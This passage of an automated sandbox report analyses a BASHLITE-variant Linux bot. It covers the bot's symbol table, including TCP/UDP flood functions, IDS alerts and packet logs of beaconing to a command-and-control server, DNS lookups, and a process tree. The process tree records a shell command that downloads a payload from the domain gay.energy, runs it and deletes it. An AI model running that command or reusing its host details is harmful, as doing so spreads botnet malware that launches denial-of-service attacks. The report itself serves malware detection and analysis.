stdout	.symtab	0x518d88	8	OBJECT	<unknown>	DEFAULT	9
strcasecmp	.symtab	0x40fec8	48	FUNC	<unknown>	DEFAULT	2
strcasecmp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strchr	.symtab	0x408bb0	417	FUNC	<unknown>	DEFAULT	2
strchrnul	.symtab	0x40d8cc	268	FUNC	<unknown>	DEFAULT	2
strchrnul.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strcmp	.symtab	0x408e44	33	FUNC	<unknown>	DEFAULT	2
strcoll	.symtab	0x408e44	33	FUNC	<unknown>	DEFAULT	2
strcpy	.symtab	0x408e70	213	FUNC	<unknown>	DEFAULT	2
strcspn	.symtab	0x40d168	135	FUNC	<unknown>	DEFAULT	2
strdup	.symtab	0x40fa78	54	FUNC	<unknown>	DEFAULT	2
strdup.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strerror_r	.symtab	0x4092d4	196	FUNC	<unknown>	DEFAULT	2
strlen	.symtab	0x408d60	225	FUNC	<unknown>	DEFAULT	2
strncpy	.symtab	0x409224	131	FUNC	<unknown>	DEFAULT	2
strncpy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strnlen	.symtab	0x409158	201	FUNC	<unknown>	DEFAULT	2
strnlen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strpbrk	.symtab	0x40e380	140	FUNC	<unknown>	DEFAULT	2
strrchr	.symtab	0x40d894	53	FUNC	<unknown>	DEFAULT	2
strrchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strspn	.symtab	0x40d1f0	135	FUNC	<unknown>	DEFAULT	2
strstr	.symtab	0x409094	193	FUNC	<unknown>	DEFAULT	2
strstr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtoimax	.symtab	0x40ad58	10	FUNC	<unknown>	DEFAULT	2
strtok	.symtab	0x4092c8	10	FUNC	<unknown>	DEFAULT	2
strtok.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtok_r	.symtab	0x40d688	94	FUNC	<unknown>	DEFAULT	2
strtok_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtol	.symtab	0x40ad58	10	FUNC	<unknown>	DEFAULT	2
strtol.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtoll	.symtab	0x40ad58	10	FUNC	<unknown>	DEFAULT	2
strtoq	.symtab	0x40ad58	10	FUNC	<unknown>	DEFAULT	2
sysconf	.symtab	0x40b083	499	FUNC	<unknown>	DEFAULT	2
sysconf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
szprintf	.symtab	0x400f50	229	FUNC	<unknown>	DEFAULT	2
table	.symtab	0x51f4a0	480	OBJECT	<unknown>	DEFAULT	10
table.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
table_init	.symtab	0x406844	486	FUNC	<unknown>	DEFAULT	2
table_key	.symtab	0x518d50	4	OBJECT	<unknown>	DEFAULT	9
table_lock_val	.symtab	0x406a53	41	FUNC	<unknown>	DEFAULT	2
table_retrieve_val	.symtab	0x406a7c	63	FUNC	<unknown>	DEFAULT	2
table_unlock_val	.symtab	0x406a2a	41	FUNC	<unknown>	DEFAULT	2
tcgetattr	.symtab	0x4093b4	110	FUNC	<unknown>	DEFAULT	2
tcgetattr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
tcpFl00d	.symtab	0x4023ea	1207	FUNC	<unknown>	DEFAULT	2
tcpcsum	.symtab	0x401d8a	169	FUNC	<unknown>	DEFAULT	2
time	.symtab	0x4075ac	8	FUNC	<unknown>	DEFAULT	2
time.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
times	.symtab	0x40b940	8	FUNC	<unknown>	DEFAULT	2
times.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
toggle_obf	.symtab	0x406b1e	288	FUNC	<unknown>	DEFAULT	2
toupper	.symtab	0x4078cc	30	FUNC	<unknown>	DEFAULT	2
toupper.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
trim	.symtab	0x400582	216	FUNC	<unknown>	DEFAULT	2
type_codes	.symtab	0x413910	24	OBJECT	<unknown>	DEFAULT	4
type_sizes	.symtab	0x413928	12	OBJECT	<unknown>	DEFAULT	4
udpfl00d	.symtab	0x401ecc	1310	FUNC	<unknown>	DEFAULT	2
uname	.symtab	0x40fe70	38	FUNC	<unknown>	DEFAULT	2
uname.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
unknown.1721	.symtab	0x413960	14	OBJECT	<unknown>	DEFAULT	4
unsafe_state	.symtab	0x519030	40	OBJECT	<unknown>	DEFAULT	9
uppercase	.symtab	0x4016eb	55	FUNC	<unknown>	DEFAULT	2
userID	.symtab	0x518d44	4	OBJECT	<unknown>	DEFAULT	9
usleep	.symtab	0x40b398	52	FUNC	<unknown>	DEFAULT	2
usleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
util.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
util_atoi	.symtab	0x406e53	484	FUNC	<unknown>	DEFAULT	2
util_fdgets	.symtab	0x40736a	157	FUNC	<unknown>	DEFAULT	2
util_isalpha	.symtab	0x407430	53	FUNC	<unknown>	DEFAULT	2
util_isdigit	.symtab	0x40749a	41	FUNC	<unknown>	DEFAULT	2
util_isspace	.symtab	0x407465	53	FUNC	<unknown>	DEFAULT	2
util_isupper	.symtab	0x407407	41	FUNC	<unknown>	DEFAULT	2
util_itoa	.symtab	0x407037	280	FUNC	<unknown>	DEFAULT	2
util_local_addr	.symtab	0x4072c8	162	FUNC	<unknown>	DEFAULT	2
util_memcpy	.symtab	0x406de2	68	FUNC	<unknown>	DEFAULT	2
util_memsearch	.symtab	0x40714f	140	FUNC	<unknown>	DEFAULT	2
util_strcat	.symtab	0x406da0	66	FUNC	<unknown>	DEFAULT	2
util_strcmp	.symtab	0x406cf3	121	FUNC	<unknown>	DEFAULT	2
util_strcpy	.symtab	0x406d6c	52	FUNC	<unknown>	DEFAULT	2
util_stristr	.symtab	0x4071db	237	FUNC	<unknown>	DEFAULT	2
util_strlen	.symtab	0x406c40	47	FUNC	<unknown>	DEFAULT	2
util_strncmp	.symtab	0x406c6f	132	FUNC	<unknown>	DEFAULT	2
util_zero	.symtab	0x406e26	45	FUNC	<unknown>	DEFAULT	2
vfork	.symtab	0x4074c4	21	FUNC	<unknown>	DEFAULT	2
vivid_bp	.symtab	0x518c10	4	OBJECT	<unknown>	DEFAULT	9
vseattack	.symtab	0x402ee5	1417	FUNC	<unknown>	DEFAULT	2
vsnprintf	.symtab	0x4079bc	189	FUNC	<unknown>	DEFAULT	2
vsnprintf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
w	.symtab	0x51d1d4	4	OBJECT	<unknown>	DEFAULT	10
wait4	.symtab	0x40b7a0	47	FUNC	<unknown>	DEFAULT	2
wait4.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
waitpid	.symtab	0x407610	7	FUNC	<unknown>	DEFAULT	2
waitpid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
watchdog_maintain	.symtab	0x4003f0	276	FUNC	<unknown>	DEFAULT	2
watchdog_pid	.symtab	0x5191a4	4	OBJECT	<unknown>	DEFAULT	10
wcrtomb	.symtab	0x40bf38	68	FUNC	<unknown>	DEFAULT	2
wcrtomb.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wcsnrtombs	.symtab	0x40bf8c	123	FUNC	<unknown>	DEFAULT	2
wcsnrtombs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wcsrtombs	.symtab	0x40bf7c	15	FUNC	<unknown>	DEFAULT	2
wcsrtombs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wildString	.symtab	0x40157a	304	FUNC	<unknown>	DEFAULT	2
write	.symtab	0x4077b0	42	FUNC	<unknown>	DEFAULT	2
write.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
x	.symtab	0x51d1c8	4	OBJECT	<unknown>	DEFAULT	10
xdigits.3745	.symtab	0x414e60	17	OBJECT	<unknown>	DEFAULT	4
xstatconv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
y	.symtab	0x51d1cc	4	OBJECT	<unknown>	DEFAULT	10
z	.symtab	0x51d1d0	4	OBJECT	<unknown>	DEFAULT	10
zprintf	.symtab	0x400e6d	227	FUNC	<unknown>	DEFAULT	2

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-05-10T07:44:16.485852+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	58154	92.60.77.69	666	TCP
2025-05-10T07:44:16.758698+0200	2839489	ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response	1	92.60.77.69	666	192.168.2.15	58154	TCP
2025-05-10T07:44:32.037794+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	58156	92.60.77.69	666	TCP
2025-05-10T07:44:32.310593+0200	2839489	ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response	1	92.60.77.69	666	192.168.2.15	58156	TCP
2025-05-10T07:44:47.594854+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	58158	92.60.77.69	666	TCP
2025-05-10T07:44:47.867827+0200	2839489	ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response	1	92.60.77.69	666	192.168.2.15	58158	TCP
2025-05-10T07:45:03.154401+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	58160	92.60.77.69	666	TCP
2025-05-10T07:45:03.427653+0200	2839489	ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response	1	92.60.77.69	666	192.168.2.15	58160	TCP
2025-05-10T07:45:18.714205+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	58162	92.60.77.69	666	TCP
2025-05-10T07:45:18.988148+0200	2839489	ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response	1	92.60.77.69	666	192.168.2.15	58162	TCP
2025-05-10T07:45:34.274220+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	58164	92.60.77.69	666	TCP
2025-05-10T07:45:34.547050+0200	2839489	ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response	1	92.60.77.69	666	192.168.2.15	58164	TCP
2025-05-10T07:45:49.835535+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	58166	92.60.77.69	666	TCP
2025-05-10T07:45:50.109342+0200	2839489	ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response	1	92.60.77.69	666	192.168.2.15	58166	TCP
2025-05-10T07:46:05.397910+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	58168	92.60.77.69	666	TCP
2025-05-10T07:46:05.672211+0200	2839489	ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response	1	92.60.77.69	666	192.168.2.15	58168	TCP
2025-05-10T07:46:20.958201+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	58170	92.60.77.69	666	TCP
2025-05-10T07:46:21.231592+0200	2839489	ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response	1	92.60.77.69	666	192.168.2.15	58170	TCP
2025-05-10T07:46:36.516331+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	58172	92.60.77.69	666	TCP
2025-05-10T07:46:36.789043+0200	2839489	ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response	1	92.60.77.69	666	192.168.2.15	58172	TCP
2025-05-10T07:46:52.076642+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	58174	92.60.77.69	666	TCP
2025-05-10T07:46:52.349507+0200	2839489	ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response	1	92.60.77.69	666	192.168.2.15	58174	TCP
2025-05-10T07:47:07.632380+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	58176	92.60.77.69	666	TCP
2025-05-10T07:47:07.905258+0200	2839489	ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response	1	92.60.77.69	666	192.168.2.15	58176	TCP
2025-05-10T07:47:23.188326+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	58178	92.60.77.69	666	TCP
2025-05-10T07:47:23.461040+0200	2839489	ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response	1	92.60.77.69	666	192.168.2.15	58178	TCP
2025-05-10T07:47:38.744584+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	58180	92.60.77.69	666	TCP
2025-05-10T07:47:39.017777+0200	2839489	ETPRO MALWARE ELF/BASHLITE Variant CnC Server Response	1	92.60.77.69	666	192.168.2.15	58180	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 10, 2025 07:44:16.211878061 CEST	58154	666	192.168.2.15	92.60.77.69
May 10, 2025 07:44:16.485321045 CEST	666	58154	92.60.77.69	192.168.2.15
May 10, 2025 07:44:16.485851049 CEST	58154	666	192.168.2.15	92.60.77.69
May 10, 2025 07:44:16.485852003 CEST	58154	666	192.168.2.15	92.60.77.69
May 10, 2025 07:44:16.758658886 CEST	666	58154	92.60.77.69	192.168.2.15
May 10, 2025 07:44:16.758697987 CEST	666	58154	92.60.77.69	192.168.2.15
May 10, 2025 07:44:16.758708954 CEST	666	58154	92.60.77.69	192.168.2.15
May 10, 2025 07:44:16.758770943 CEST	58154	666	192.168.2.15	92.60.77.69
May 10, 2025 07:44:17.031069994 CEST	666	58154	92.60.77.69	192.168.2.15
May 10, 2025 07:44:31.764678955 CEST	58156	666	192.168.2.15	92.60.77.69
May 10, 2025 07:44:32.037488937 CEST	666	58156	92.60.77.69	192.168.2.15
May 10, 2025 07:44:32.037683964 CEST	58156	666	192.168.2.15	92.60.77.69
May 10, 2025 07:44:32.037794113 CEST	58156	666	192.168.2.15	92.60.77.69
May 10, 2025 07:44:32.310486078 CEST	666	58156	92.60.77.69	192.168.2.15
May 10, 2025 07:44:32.310592890 CEST	666	58156	92.60.77.69	192.168.2.15
May 10, 2025 07:44:32.310615063 CEST	666	58156	92.60.77.69	192.168.2.15
May 10, 2025 07:44:32.310807943 CEST	58156	666	192.168.2.15	92.60.77.69
May 10, 2025 07:44:32.583743095 CEST	666	58156	92.60.77.69	192.168.2.15
May 10, 2025 07:44:47.321472883 CEST	58158	666	192.168.2.15	92.60.77.69
May 10, 2025 07:44:47.594367981 CEST	666	58158	92.60.77.69	192.168.2.15
May 10, 2025 07:44:47.594769955 CEST	58158	666	192.168.2.15	92.60.77.69
May 10, 2025 07:44:47.594854116 CEST	58158	666	192.168.2.15	92.60.77.69
May 10, 2025 07:44:47.867763996 CEST	666	58158	92.60.77.69	192.168.2.15
May 10, 2025 07:44:47.867826939 CEST	666	58158	92.60.77.69	192.168.2.15
May 10, 2025 07:44:47.867847919 CEST	666	58158	92.60.77.69	192.168.2.15
May 10, 2025 07:44:47.868309021 CEST	58158	666	192.168.2.15	92.60.77.69
May 10, 2025 07:44:48.141204119 CEST	666	58158	92.60.77.69	192.168.2.15
May 10, 2025 07:45:02.881206036 CEST	58160	666	192.168.2.15	92.60.77.69
May 10, 2025 07:45:03.154113054 CEST	666	58160	92.60.77.69	192.168.2.15
May 10, 2025 07:45:03.154401064 CEST	58160	666	192.168.2.15	92.60.77.69
May 10, 2025 07:45:03.154401064 CEST	58160	666	192.168.2.15	92.60.77.69
May 10, 2025 07:45:03.427537918 CEST	666	58160	92.60.77.69	192.168.2.15
May 10, 2025 07:45:03.427653074 CEST	666	58160	92.60.77.69	192.168.2.15
May 10, 2025 07:45:03.427691936 CEST	666	58160	92.60.77.69	192.168.2.15
May 10, 2025 07:45:03.428067923 CEST	58160	666	192.168.2.15	92.60.77.69
May 10, 2025 07:45:03.701347113 CEST	666	58160	92.60.77.69	192.168.2.15
May 10, 2025 07:45:18.440821886 CEST	58162	666	192.168.2.15	92.60.77.69
May 10, 2025 07:45:18.713789940 CEST	666	58162	92.60.77.69	192.168.2.15
May 10, 2025 07:45:18.714137077 CEST	58162	666	192.168.2.15	92.60.77.69
May 10, 2025 07:45:18.714205027 CEST	58162	666	192.168.2.15	92.60.77.69
May 10, 2025 07:45:18.988080978 CEST	666	58162	92.60.77.69	192.168.2.15
May 10, 2025 07:45:18.988147974 CEST	666	58162	92.60.77.69	192.168.2.15
May 10, 2025 07:45:18.988184929 CEST	666	58162	92.60.77.69	192.168.2.15
May 10, 2025 07:45:18.988380909 CEST	58162	666	192.168.2.15	92.60.77.69
May 10, 2025 07:45:19.261365891 CEST	666	58162	92.60.77.69	192.168.2.15
May 10, 2025 07:45:34.000946999 CEST	58164	666	192.168.2.15	92.60.77.69
May 10, 2025 07:45:34.273699999 CEST	666	58164	92.60.77.69	192.168.2.15
May 10, 2025 07:45:34.274045944 CEST	58164	666	192.168.2.15	92.60.77.69
May 10, 2025 07:45:34.274219990 CEST	58164	666	192.168.2.15	92.60.77.69
May 10, 2025 07:45:34.546988964 CEST	666	58164	92.60.77.69	192.168.2.15
May 10, 2025 07:45:34.547049999 CEST	666	58164	92.60.77.69	192.168.2.15
May 10, 2025 07:45:34.547090054 CEST	666	58164	92.60.77.69	192.168.2.15
May 10, 2025 07:45:34.547388077 CEST	58164	666	192.168.2.15	92.60.77.69
May 10, 2025 07:45:34.820163012 CEST	666	58164	92.60.77.69	192.168.2.15
May 10, 2025 07:45:49.561950922 CEST	58166	666	192.168.2.15	92.60.77.69
May 10, 2025 07:45:49.835043907 CEST	666	58166	92.60.77.69	192.168.2.15
May 10, 2025 07:45:49.835433006 CEST	58166	666	192.168.2.15	92.60.77.69
May 10, 2025 07:45:49.835535049 CEST	58166	666	192.168.2.15	92.60.77.69
May 10, 2025 07:45:50.109184027 CEST	666	58166	92.60.77.69	192.168.2.15
May 10, 2025 07:45:50.109342098 CEST	666	58166	92.60.77.69	192.168.2.15
May 10, 2025 07:45:50.109462976 CEST	666	58166	92.60.77.69	192.168.2.15
May 10, 2025 07:45:50.110023022 CEST	58166	666	192.168.2.15	92.60.77.69
May 10, 2025 07:45:50.383359909 CEST	666	58166	92.60.77.69	192.168.2.15
May 10, 2025 07:46:05.124607086 CEST	58168	666	192.168.2.15	92.60.77.69
May 10, 2025 07:46:05.397486925 CEST	666	58168	92.60.77.69	192.168.2.15
May 10, 2025 07:46:05.397910118 CEST	58168	666	192.168.2.15	92.60.77.69
May 10, 2025 07:46:05.397910118 CEST	58168	666	192.168.2.15	92.60.77.69
May 10, 2025 07:46:05.672142982 CEST	666	58168	92.60.77.69	192.168.2.15
May 10, 2025 07:46:05.672210932 CEST	666	58168	92.60.77.69	192.168.2.15
May 10, 2025 07:46:05.672337055 CEST	666	58168	92.60.77.69	192.168.2.15
May 10, 2025 07:46:05.672616005 CEST	58168	666	192.168.2.15	92.60.77.69
May 10, 2025 07:46:05.945569038 CEST	666	58168	92.60.77.69	192.168.2.15
May 10, 2025 07:46:20.684933901 CEST	58170	666	192.168.2.15	92.60.77.69
May 10, 2025 07:46:20.957731962 CEST	666	58170	92.60.77.69	192.168.2.15
May 10, 2025 07:46:20.958200932 CEST	58170	666	192.168.2.15	92.60.77.69
May 10, 2025 07:46:20.958200932 CEST	58170	666	192.168.2.15	92.60.77.69
May 10, 2025 07:46:21.231528044 CEST	666	58170	92.60.77.69	192.168.2.15
May 10, 2025 07:46:21.231591940 CEST	666	58170	92.60.77.69	192.168.2.15
May 10, 2025 07:46:21.231632948 CEST	666	58170	92.60.77.69	192.168.2.15
May 10, 2025 07:46:21.231873035 CEST	58170	666	192.168.2.15	92.60.77.69
May 10, 2025 07:46:21.505512953 CEST	666	58170	92.60.77.69	192.168.2.15
May 10, 2025 07:46:36.242144108 CEST	58172	666	192.168.2.15	92.60.77.69
May 10, 2025 07:46:36.515978098 CEST	666	58172	92.60.77.69	192.168.2.15
May 10, 2025 07:46:36.516330004 CEST	58172	666	192.168.2.15	92.60.77.69
May 10, 2025 07:46:36.516330957 CEST	58172	666	192.168.2.15	92.60.77.69
May 10, 2025 07:46:36.788934946 CEST	666	58172	92.60.77.69	192.168.2.15
May 10, 2025 07:46:36.789042950 CEST	666	58172	92.60.77.69	192.168.2.15
May 10, 2025 07:46:36.789079905 CEST	666	58172	92.60.77.69	192.168.2.15
May 10, 2025 07:46:36.789333105 CEST	58172	666	192.168.2.15	92.60.77.69
May 10, 2025 07:46:37.061930895 CEST	666	58172	92.60.77.69	192.168.2.15
May 10, 2025 07:46:51.803335905 CEST	58174	666	192.168.2.15	92.60.77.69
May 10, 2025 07:46:52.076136112 CEST	666	58174	92.60.77.69	192.168.2.15
May 10, 2025 07:46:52.076642036 CEST	58174	666	192.168.2.15	92.60.77.69
May 10, 2025 07:46:52.076642036 CEST	58174	666	192.168.2.15	92.60.77.69
May 10, 2025 07:46:52.349442959 CEST	666	58174	92.60.77.69	192.168.2.15
May 10, 2025 07:46:52.349507093 CEST	666	58174	92.60.77.69	192.168.2.15
May 10, 2025 07:46:52.349544048 CEST	666	58174	92.60.77.69	192.168.2.15
May 10, 2025 07:46:52.349819899 CEST	58174	666	192.168.2.15	92.60.77.69
May 10, 2025 07:46:52.622622967 CEST	666	58174	92.60.77.69	192.168.2.15
May 10, 2025 07:47:07.358772993 CEST	58176	666	192.168.2.15	92.60.77.69
May 10, 2025 07:47:07.631779909 CEST	666	58176	92.60.77.69	192.168.2.15
May 10, 2025 07:47:07.632379055 CEST	58176	666	192.168.2.15	92.60.77.69
May 10, 2025 07:47:07.632380009 CEST	58176	666	192.168.2.15	92.60.77.69
May 10, 2025 07:47:07.905200005 CEST	666	58176	92.60.77.69	192.168.2.15
May 10, 2025 07:47:07.905257940 CEST	666	58176	92.60.77.69	192.168.2.15
May 10, 2025 07:47:07.905293941 CEST	666	58176	92.60.77.69	192.168.2.15
May 10, 2025 07:47:07.905525923 CEST	58176	666	192.168.2.15	92.60.77.69
May 10, 2025 07:47:08.177964926 CEST	666	58176	92.60.77.69	192.168.2.15
May 10, 2025 07:47:22.914951086 CEST	58178	666	192.168.2.15	92.60.77.69
May 10, 2025 07:47:23.187753916 CEST	666	58178	92.60.77.69	192.168.2.15
May 10, 2025 07:47:23.188324928 CEST	58178	666	192.168.2.15	92.60.77.69
May 10, 2025 07:47:23.188325882 CEST	58178	666	192.168.2.15	92.60.77.69
May 10, 2025 07:47:23.460969925 CEST	666	58178	92.60.77.69	192.168.2.15
May 10, 2025 07:47:23.461040020 CEST	666	58178	92.60.77.69	192.168.2.15
May 10, 2025 07:47:23.461075068 CEST	666	58178	92.60.77.69	192.168.2.15
May 10, 2025 07:47:23.461451054 CEST	58178	666	192.168.2.15	92.60.77.69
May 10, 2025 07:47:23.733936071 CEST	666	58178	92.60.77.69	192.168.2.15
May 10, 2025 07:47:38.470112085 CEST	58180	666	192.168.2.15	92.60.77.69
May 10, 2025 07:47:38.743745089 CEST	666	58180	92.60.77.69	192.168.2.15
May 10, 2025 07:47:38.744584084 CEST	58180	666	192.168.2.15	92.60.77.69
May 10, 2025 07:47:38.744584084 CEST	58180	666	192.168.2.15	92.60.77.69
May 10, 2025 07:47:39.017715931 CEST	666	58180	92.60.77.69	192.168.2.15
May 10, 2025 07:47:39.017776966 CEST	666	58180	92.60.77.69	192.168.2.15
May 10, 2025 07:47:39.017797947 CEST	666	58180	92.60.77.69	192.168.2.15
May 10, 2025 07:47:39.018165112 CEST	58180	666	192.168.2.15	92.60.77.69
May 10, 2025 07:47:39.291537046 CEST	666	58180	92.60.77.69	192.168.2.15

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 10, 2025 07:44:16.274662971 CEST	45257	53	192.168.2.15	1.1.1.1
May 10, 2025 07:44:16.274662971 CEST	52881	53	192.168.2.15	1.1.1.1
May 10, 2025 07:44:16.427459955 CEST	53	52881	1.1.1.1	192.168.2.15
May 10, 2025 07:44:16.428023100 CEST	52881	53	192.168.2.15	1.1.1.1
May 10, 2025 07:44:16.438735962 CEST	53	45257	1.1.1.1	192.168.2.15
May 10, 2025 07:44:16.439112902 CEST	45257	53	192.168.2.15	1.1.1.1
May 10, 2025 07:44:16.569334984 CEST	53	52881	1.1.1.1	192.168.2.15
May 10, 2025 07:44:16.580815077 CEST	53	45257	1.1.1.1	192.168.2.15
May 10, 2025 07:46:58.477360964 CEST	34983	53	192.168.2.15	1.1.1.1
May 10, 2025 07:46:58.477360964 CEST	59106	53	192.168.2.15	1.1.1.1
May 10, 2025 07:46:58.640743971 CEST	53	59106	1.1.1.1	192.168.2.15
May 10, 2025 07:46:58.652348995 CEST	53	34983	1.1.1.1	192.168.2.15

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 10, 2025 07:44:16.274662971 CEST	192.168.2.15	1.1.1.1	0xd316	Standard query (0)	gay.energy	A (IP address)	IN (0x0001)	false
May 10, 2025 07:44:16.274662971 CEST	192.168.2.15	1.1.1.1	0xd33d	Standard query (0)	gay.energy	28	IN (0x0001)	false
May 10, 2025 07:44:16.428023100 CEST	192.168.2.15	1.1.1.1	0xd33d	Standard query (0)	gay.energy	28	IN (0x0001)	false
May 10, 2025 07:44:16.439112902 CEST	192.168.2.15	1.1.1.1	0xd316	Standard query (0)	gay.energy	A (IP address)	IN (0x0001)	false
May 10, 2025 07:46:58.477360964 CEST	192.168.2.15	1.1.1.1	0x9c84	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
May 10, 2025 07:46:58.477360964 CEST	192.168.2.15	1.1.1.1	0xf884	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 10, 2025 07:44:16.427459955 CEST	1.1.1.1	192.168.2.15	0xd33d	Name error (3)	gay.energy	none	none	28	IN (0x0001)	false
May 10, 2025 07:44:16.438735962 CEST	1.1.1.1	192.168.2.15	0xd316	Name error (3)	gay.energy	none	none	A (IP address)	IN (0x0001)	false
May 10, 2025 07:44:16.569334984 CEST	1.1.1.1	192.168.2.15	0xd33d	Name error (3)	gay.energy	none	none	28	IN (0x0001)	false
May 10, 2025 07:44:16.580815077 CEST	1.1.1.1	192.168.2.15	0xd316	Name error (3)	gay.energy	none	none	A (IP address)	IN (0x0001)	false
May 10, 2025 07:46:58.652348995 CEST	1.1.1.1	192.168.2.15	0x9c84	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
May 10, 2025 07:46:58.652348995 CEST	1.1.1.1	192.168.2.15	0x9c84	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: x86.elf PID: 5528, Parent PID: 5445

General

Start time (UTC):	05:44:14
Start date (UTC):	10/05/2025
Path:	/tmp/x86.elf
Arguments:	/tmp/x86.elf
File size:	136901 bytes
MD5 hash:	b1a9dfc6e42c89e400efad9451540b1e

Chronological Activities

Analysis Process: x86.elf PID: 5529, Parent PID: 5528

General

Start time (UTC):	05:44:14
Start date (UTC):	10/05/2025
Path:	/tmp/x86.elf
Arguments:	-
File size:	136901 bytes
MD5 hash:	b1a9dfc6e42c89e400efad9451540b1e

Chronological Activities

Analysis Process: sh PID: 5529, Parent PID: 5528

General

Start time (UTC):	05:44:14
Start date (UTC):	10/05/2025
Path:	/bin/sh
Arguments:	/bin/sh -c "wget -q http://gay.energy/.../vivid -O .....;chmod 777 .....;./.....;rm -rf ....."
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5533, Parent PID: 5529

General

Start time (UTC):	05:44:14
Start date (UTC):	10/05/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: wget PID: 5533, Parent PID: 5529

General

Start time (UTC):	05:44:14
Start date (UTC):	10/05/2025
Path:	/usr/bin/wget
Arguments:	wget -q http://gay.energy/.../vivid -O .....
File size:	548568 bytes
MD5 hash:	996940118df7bb2aaa718589d4e95c08

Chronological Activities

Analysis Process: sh PID: 5534, Parent PID: 5529

General

Start time (UTC):	05:44:15
Start date (UTC):	10/05/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chmod PID: 5534, Parent PID: 5529

General

Start time (UTC):	05:44:15
Start date (UTC):	10/05/2025
Path:	/usr/bin/chmod
Arguments:	chmod 777 .....
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Chronological Activities

Analysis Process: sh PID: 5535, Parent PID: 5529

General

Start time (UTC):	05:44:15
Start date (UTC):	10/05/2025
Path:	/bin/sh
Arguments:	-
